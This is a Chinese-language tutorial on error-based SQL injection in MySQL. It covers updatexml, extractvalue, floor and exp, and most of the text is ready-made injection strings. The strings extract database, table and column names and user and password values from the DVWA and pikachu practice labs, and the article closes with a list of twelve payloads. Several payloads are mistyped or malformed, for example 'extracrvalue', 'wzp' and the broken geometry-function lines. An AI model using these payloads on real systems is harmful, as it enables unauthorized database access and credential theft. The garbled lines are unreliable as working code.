SQL注入報錯注入函數(shù)圖文詳解
報錯注入的前提是當語句發(fā)生錯誤時,錯誤信息被輸出到前端。其漏洞原因是由于開發(fā)人員在開發(fā)程序時使用了print_r (),mysql_error(),mysqli_connect_error()函數(shù)將mysql錯誤信息輸出到前端,因此可以通過閉合原先的語句,去執(zhí)行后面的語句。
常用報錯函數(shù)
updatexml() 是mysql對xml文檔數(shù)據(jù)進行查詢和修改的xpath函數(shù)
extractvalue() 是mysql對xml文檔數(shù)據(jù)進行查詢的xpath函數(shù)
floor() mysql中用來取整的函數(shù)
exp() 此函數(shù)返回e(自然對數(shù)的底)指數(shù)X的冪值
用法詳解
updatexml()函數(shù)
updatexml()函數(shù)的作用就是改變(查找并替換)xml文檔中符合條件的節(jié)點的值
語法:updatexml(xml_document,XPthstring,new_value)
第一個參數(shù)是字符串string(XML文檔對象的名稱)
第二個參數(shù)是指定字符串中的一個位置(Xpath格式的字符串)
第三個參數(shù)是將要替換成什么,string格式
Xpath定位必須是有效的,否則則會發(fā)生錯誤。我們就能利用這個特性爆出我們想要的數(shù)據(jù)
實例
注冊就是往數(shù)據(jù)庫里添加數(shù)據(jù),insert。
在用戶處輸入單引號 報錯
猜測后端語句
insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)
可以在xxx處對單引號閉合,爆出我們想要的數(shù)據(jù)
?id=1' or updatexml(0,concat(0x7e,select database()),1)'
閉合單引號使語句逃逸出來,之后重新構(gòu)造語句查詢,爆破出庫名為:"pikachu"
分析過程
當輸入payload
?id=1' or updatexml(0,concat(0x7e,select database()),1)or'
后端會被拼接為
insert into user(name,password,sex,phone,address1,address2) value('' or updatexml(1,concat(0x7e,database()),0) or '',
表名列名字段和正常查詢一樣只是換了個位置
利用過程
庫名
1'and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#
表名
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
查表信息(假定有一個users表,庫名為dvwa
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1) #
查字段值(假設字段名為last_name(dvwa.users意思為調(diào)用dvwa庫的users表)
1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #
extractvalue()函數(shù)
extractvalue()函數(shù)的作用是從目標xml中返回包含所查詢值的字符串
extractvalue (XML_document, XPath_string);
第一個參數(shù):XML_document是String格式,為XML文檔對象的名稱,文中為doc
第二個參數(shù):XPath_string(Xpath格式的字符串),Xpath定位必須是有效的,否則會發(fā)生錯誤
構(gòu)造payload
?id=1' or extracrvalue(0,concat(0x7e,database())) or '
注意xpath回顯只有一位使用limit函數(shù)逐個爆,且最長為32位,超過32位爆不了
利用過程
當前庫
1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #
當前表
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #
表信息(假設表為users
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) #
字段值(字段為user_id,first_name,last_name,(dvwa.users意思為調(diào)用dvwa庫的users表)
1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #
floor()函數(shù)
floor()是mysql的一個取整函數(shù)
庫名
id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #
表名(庫為dvwa,通過修改 limit 0,1值遞增查表, limit 1,1、limit 2,1
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
字段名(庫:dvwa,表:users
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
字段值(字段值:user,password(dvwa.users意思為調(diào)用dvwa庫users表
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#
exp()函數(shù)
當傳遞一個大于709的值時,函數(shù)exp()就會引起一個溢出錯誤。
庫名
id=1' or exp(~(SELECT * from(select database())a)) or '
表名(庫名:pikachu
id=1' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')a)) or '
字段名(表名:users
id=1' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '
字段值(字段名:password,表名:users
id=1' or wzp(~(select * from(select password from users limit 0,1)a)) or '
12種報錯注入函數(shù)
1、通過floor報錯,注入語句如下:
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通過extractvalue報錯,注入語句如下:
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3、通過updatexml報錯,注入語句如下:
and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4、通過exp報錯,注入語句如下:
and exp(~(select * from (select user () ) a) );
5、通過join報錯,注入語句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通過NAME_CONST報錯,注入語句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c);
7、通過GeometryCollection()報錯,注入語句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通過polygon ()報錯,注入語句如下:
and polygon (()select * from(select user ())a)b );
9、通過multipoint ()報錯,注入語句如下:
and multipoint (()select * from(select user() )a)b );
10、通過multlinestring ()報錯,注入語句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通過multpolygon ()報錯,注入語句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通過linestring ()報錯,注入語句如下:
and linestring (()select * from(select user() )a)b );
總結(jié)
到此這篇關于SQL注入報錯注入函數(shù)的文章就介紹到這了,更多相關SQL注入報錯注入函數(shù)內(nèi)容請搜索本站以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持本站!
版權聲明:本站文章來源標注為YINGSOO的內(nèi)容版權均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務器上建立鏡像,否則將依法追究法律責任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學習參考,不代表本站立場,如有內(nèi)容涉嫌侵權,請聯(lián)系alex-e#qq.com處理。